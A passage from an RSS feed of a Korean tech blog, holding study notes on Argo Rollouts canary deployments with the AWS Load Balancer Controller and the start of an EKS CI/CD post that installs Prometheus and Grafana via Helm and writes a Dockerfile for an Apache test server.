kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.12.12.png&quot; data-origin-width=&quot;1638&quot; data-origin-height=&quot;992&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b2FpxE/btsGJts8oWa/h1CO9a9avR1iO21emnFT80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b2FpxE/btsGJts8oWa/h1CO9a9avR1iO21emnFT80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b2FpxE/btsGJts8oWa/h1CO9a9avR1iO21emnFT80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb2FpxE%2FbtsGJts8oWa%2Fh1CO9a9avR1iO21emnFT80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1638&quot; height=&quot;992&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.12.12.png&quot; data-origin-width=&quot;1638&quot; data-origin-height=&quot;992&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Promoting a Rollout&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.13.58.png&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;986&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciWqp8/btsGIMmvnlk/CWVJqKZYIK67kEPp77TkCk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciWqp8/btsGIMmvnlk/CWVJqKZYIK67kEPp77TkCk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciWqp8/btsGIMmvnlk/CWVJqKZYIK67kEPp77TkCk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciWqp8%2FbtsGIMmvnlk%2FCWVJqKZYIK67kEPp77TkCk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1630&quot; height=&quot;986&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.13.58.png&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;986&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1713413680601&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 아래 입력 혹은 UI에서 Promote Yes 클릭
kubectl argo rollouts promote rollouts-demo

#
kubectl argo rollouts get rollout rollouts-demo --watch&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span data-token-index=&quot;0&quot;&gt;Aborting a Rollout&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1713413715432&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 
kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:red

#
kubectl argo rollouts abort rollouts-demo

#
kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.16.24.png&quot; data-origin-width=&quot;1619&quot; data-origin-height=&quot;930&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9K7Xe/btsGGWDB5iX/tNvsYpLsM9sTvRcQSB8bM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9K7Xe/btsGGWDB5iX/tNvsYpLsM9sTvRcQSB8bM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9K7Xe/btsGGWDB5iX/tNvsYpLsM9sTvRcQSB8bM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9K7Xe%2FbtsGGWDB5iX%2FtNvsYpLsM9sTvRcQSB8bM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1619&quot; height=&quot;930&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.16.24.png&quot; data-origin-width=&quot;1619&quot; data-origin-height=&quot;930&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.17.59.png&quot; data-origin-width=&quot;1616&quot; data-origin-height=&quot;1037&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4crzs/btsGHFg1LLQ/ISSmRt6XzwS9mb5ZmofaEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4crzs/btsGHFg1LLQ/ISSmRt6XzwS9mb5ZmofaEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4crzs/btsGHFg1LLQ/ISSmRt6XzwS9mb5ZmofaEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4crzs%2FbtsGHFg1LLQ%2FISSmRt6XzwS9mb5ZmofaEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1616&quot; height=&quot;1037&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.17.59.png&quot; data-origin-width=&quot;1616&quot; data-origin-height=&quot;1037&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Getting Started - &lt;a href=&quot;https://argoproj.github.io/argo-rollouts/getting-started/alb/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AWS Load Balancer Controller&lt;/a&gt;&lt;/h3&gt;
&lt;h4 id=&quot;1-deploy-the-rollout-services-and-ingress&quot; style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;Deploy the Rollout, Services, and Ingress&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rollout에서 참조하는 Ingress에는 출시 서비스 중 하나와 일치하는 규칙이 있어야 합니다. 이는 canary.trafficRouting.alb.rootService(지정된 경우)여야 합니다. 그렇지 않으면 Rollout에서 canary.stableService를 사용합니다. 업데이트 중에 Ingress에는 Rollout에서 참조하는  Stable 서비스와 Canary&amp;nbsp;서비스 간에 트래픽을 분할하도록 ALB에 지시하는 &lt;a style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; href=&quot;https://kubernetes-sigs.github.io/aws-load-balancer-controller/latest/guide/ingress/annotations/#actions&quot;&gt;custom action annotation&lt;/a&gt;이 주입됩니다. 이 예에서 해당 서비스의 이름은 각각 &lt;b&gt;Rollouts-demo-stable&lt;/b&gt; 및 &lt;b&gt;Rollouts-demo-canary&lt;/b&gt;로 지정됩니다.&lt;/p&gt;
&lt;pre id=&quot;code_1713414273832&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/alb/rollout.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/alb/services.yaml
kubectl apply -f https://raw.githubusercontent.com/argoproj/argo-rollouts/master/docs/getting-started/alb/ingress.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.24.01.png&quot; data-origin-width=&quot;1167&quot; data-origin-height=&quot;262&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOEi3i/btsGHjee3GM/b8H45wq6DPwd5onSs7QJGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOEi3i/btsGHjee3GM/b8H45wq6DPwd5onSs7QJGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOEi3i/btsGHjee3GM/b8H45wq6DPwd5onSs7QJGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOEi3i%2FbtsGHjee3GM%2Fb8H45wq6DPwd5onSs7QJGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1167&quot; height=&quot;262&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.24.01.png&quot; data-origin-width=&quot;1167&quot; data-origin-height=&quot;262&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Updating a Rollout&lt;/h4&gt;
&lt;pre id=&quot;code_1713414288642&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl argo rollouts get rollout rollouts-demo&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.25.12.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9Hv9l/btsGJmAS2Mj/226kKMMiwguEXkXFKbr7A0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9Hv9l/btsGJmAS2Mj/226kKMMiwguEXkXFKbr7A0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9Hv9l/btsGJmAS2Mj/226kKMMiwguEXkXFKbr7A0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9Hv9l%2FbtsGJmAS2Mj%2F226kKMMiwguEXkXFKbr7A0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;765&quot; height=&quot;421&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.25.12.png&quot; data-origin-width=&quot;765&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.25.34.png&quot; data-origin-width=&quot;1627&quot; data-origin-height=&quot;756&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQq6L8/btsGINseysU/YH58yRiKeVkwohHafx3vW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQq6L8/btsGINseysU/YH58yRiKeVkwohHafx3vW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQq6L8/btsGINseysU/YH58yRiKeVkwohHafx3vW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQq6L8%2FbtsGINseysU%2FYH58yRiKeVkwohHafx3vW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1627&quot; height=&quot;756&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.25.34.png&quot; data-origin-width=&quot;1627&quot; data-origin-height=&quot;756&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;2-perform-an-update&quot; style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;Perform an update&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 시점에서 Canary와 안정 버전의 Rollout이 모두 실행 중이며 트래픽의 5%가 Canary로 전달됩니다. 이것이 어떻게 작동하는지 이해하려면 ALB에 대한 리스너 규칙을 살펴보면 됩니다. 리스너 규칙을 살펴보면 Canary의 현재 가중치를 반영하기 위해 컨트롤러에 의해 전달 작업 가중치가 수정되었음을 알 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1713414408319&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl argo rollouts set image rollouts-demo rollouts-demo=argoproj/rollouts-demo:yellow
kubectl argo rollouts get rollout rollouts-demo&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.26.34.png&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;522&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6Hpxh/btsGKtsHQw1/5vnLd6mXA1KpqJ4w35L4Dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6Hpxh/btsGKtsHQw1/5vnLd6mXA1KpqJ4w35L4Dk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6Hpxh/btsGKtsHQw1/5vnLd6mXA1KpqJ4w35L4Dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6Hpxh%2FbtsGKtsHQw1%2F5vnLd6mXA1KpqJ4w35L4Dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;818&quot; height=&quot;522&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.26.34.png&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;522&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.40.05.png&quot; data-origin-width=&quot;1283&quot; data-origin-height=&quot;374&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xajri/btsGKwQx7WI/lVQcLjpt4ldCzutx9Fk2x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xajri/btsGKwQx7WI/lVQcLjpt4ldCzutx9Fk2x1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xajri/btsGKwQx7WI/lVQcLjpt4ldCzutx9Fk2x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXajri%2FbtsGKwQx7WI%2FlVQcLjpt4ldCzutx9Fk2x1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1283&quot; height=&quot;374&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.40.05.png&quot; data-origin-width=&quot;1283&quot; data-origin-height=&quot;374&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.41.08.png&quot; data-origin-width=&quot;1637&quot; data-origin-height=&quot;985&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn5j7e/btsGINlv84k/tlUfizd2iQN9CcQbOX7mBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn5j7e/btsGINlv84k/tlUfizd2iQN9CcQbOX7mBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn5j7e/btsGINlv84k/tlUfizd2iQN9CcQbOX7mBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn5j7e%2FbtsGINlv84k%2FtlUfizd2iQN9CcQbOX7mBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1637&quot; height=&quot;985&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.41.08.png&quot; data-origin-width=&quot;1637&quot; data-origin-height=&quot;985&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨트롤러는 서비스에 rollouts-pod-template-hash Selector를 추가하고 동일한 라벨을 파드에 연결했습니다. 따라서 가중치에 따라 서비스에 요청을 전달하기만 하면 트래픽을 분할할 수 있습니다. Rollout이 단계를 통해 진행됨에 따라 전달 작업 가중치는 단계의 현재 setWeight와 일치하도록 조정됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.50.12.png&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yAnBl/btsGHvscyC1/dHakIuVSKtnHq5Ws8yq2Lk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yAnBl/btsGHvscyC1/dHakIuVSKtnHq5Ws8yq2Lk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yAnBl/btsGHvscyC1/dHakIuVSKtnHq5Ws8yq2Lk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyAnBl%2FbtsGHvscyC1%2FdHakIuVSKtnHq5Ws8yq2Lk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;832&quot; height=&quot;720&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.50.12.png&quot; data-origin-width=&quot;832&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.51.29.png&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;300&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcInW0/btsGKdjksEj/MPI4uqPGRclkq8yycaD7HK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcInW0/btsGKdjksEj/MPI4uqPGRclkq8yycaD7HK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcInW0/btsGKdjksEj/MPI4uqPGRclkq8yycaD7HK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcInW0%2FbtsGKdjksEj%2FMPI4uqPGRclkq8yycaD7HK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;756&quot; height=&quot;300&quot; data-filename=&quot;스크린샷 2024-04-18 오후 1.51.29.png&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;300&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/18</guid>
      <comments>https://imxsuu.tistory.com/18#entry18comment</comments>
      <pubDate>Tue, 16 Apr 2024 22:01:28 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] EKS CI/CD - Jenkins</title>
      <link>https://imxsuu.tistory.com/17</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;프로메테우스 &amp;amp; 그라파나 사전 설치&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;그라파나의 기본 ID / PW는 &lt;span data-token-index=&quot;0&quot;&gt;admin / prom-operator 입니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;대시보드 추천 &lt;span style=&quot;color: #d9730d;&quot; data-token-index=&quot;1&quot;&gt;15757 17900 15172&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713183808448&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 사용 리전의 인증서 ARN 확인
CERT_ARN=`aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text`
echo $CERT_ARN

# repo 추가
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts

# 파라미터 파일 생성 : PV/PVC(AWS EBS) 삭제에 불편하니, 4주차 실습과 다르게 PV/PVC 미사용
cat &amp;lt;&amp;lt;EOT &amp;gt; monitor-values.yaml
prometheus:
  prometheusSpec:
    podMonitorSelectorNilUsesHelmValues: false
    serviceMonitorSelectorNilUsesHelmValues: false
    retention: 5d
    retentionSize: &quot;10GiB&quot;

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - prometheus.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:443}, {&quot;HTTP&quot;:80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

grafana:
  defaultDashboardsTimezone: Asia/Seoul
  adminPassword: prom-operator
  defaultDashboardsEnabled: false

  ingress:
    enabled: true
    ingressClassName: alb
    hosts: 
      - grafana.$MyDomain
    paths: 
      - /*
    annotations:
      alb.ingress.kubernetes.io/scheme: internet-facing
      alb.ingress.kubernetes.io/target-type: ip
      alb.ingress.kubernetes.io/listen-ports: '[{&quot;HTTPS&quot;:443}, {&quot;HTTP&quot;:80}]'
      alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
      alb.ingress.kubernetes.io/success-codes: 200-399
      alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
      alb.ingress.kubernetes.io/group.name: study
      alb.ingress.kubernetes.io/ssl-redirect: '443'

alertmanager:
  enabled: false
EOT
cat monitor-values.yaml | yh

# 배포
kubectl create ns monitoring
helm install kube-prometheus-stack prometheus-community/kube-prometheus-stack --version 57.2.0 \
--set prometheus.prometheusSpec.scrapeInterval='15s' --set prometheus.prometheusSpec.evaluationInterval='15s' \
-f monitor-values.yaml --namespace monitoring

# Metrics-server 배포
kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

# 프로메테우스 ingress 도메인으로 웹 접속
echo -e &quot;Prometheus Web URL = https://prometheus.$MyDomain&quot;

# 그라파나 웹 접속 : 기본 계정 - admin / prom-operator
echo -e &quot;Grafana Web URL = https://grafana.$MyDomain&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Docker&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CI/CD에서 사용할 이미지의 레파지토리로 사용될 &lt;a href=&quot;https://hub.docker.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Docker Hub&lt;/a&gt;의 계정이 필요합니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;자신만의 웹 서버 도커 이미지 생성 후 도커 컨테이너 실행&lt;/h3&gt;
&lt;pre id=&quot;code_1713183851245&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# ubuntu 이미지 다운로드
docker pull ubuntu:20.04
docker images

# 실습을 위한 디렉터리 생성 및 이동
mkdir -p /root/myweb &amp;amp;&amp;amp; cd /root/myweb

# Dockerfile 파일 생성
vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=1.0.0 NICK=&amp;lt;자신의 닉네임&amp;gt;
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime &amp;amp;&amp;amp; echo $TZ &amp;gt; /etc/timezone &amp;amp;&amp;amp; \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    apt-get update &amp;amp;&amp;amp; apt-get install -y apache2 figlet &amp;amp;&amp;amp; \
    echo &quot;$NICK Web Server $VERSION&amp;lt;br&amp;gt;&quot; &amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    figlet AEWS Study &amp;gt;&amp;gt; /var/www/html/index.html &amp;amp;&amp;amp; \
    echo &quot;&amp;lt;/pre&amp;gt;&quot; &amp;gt;&amp;gt; /var/www/html/index.html
EXPOSE 80
CMD [&quot;usr/sbin/apache2ctl&quot;, &quot;-DFOREGROUND&quot;]

vi Dockerfile
FROM ubuntu:20.04
ENV TZ=Asia/Seoul VERSION=1.0.0 NICK=gasida
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime &amp;amp;&amp;amp; echo $TZ &amp;gt; /etc/timezone &amp;amp;&amp;amp; \
    sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    sed -i 's/security.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list &amp;amp;&amp;amp; \
    apt-get update &amp;amp;&amp;amp; apt-get install -y apache2 figlet &amp;amp;&amp;amp; \
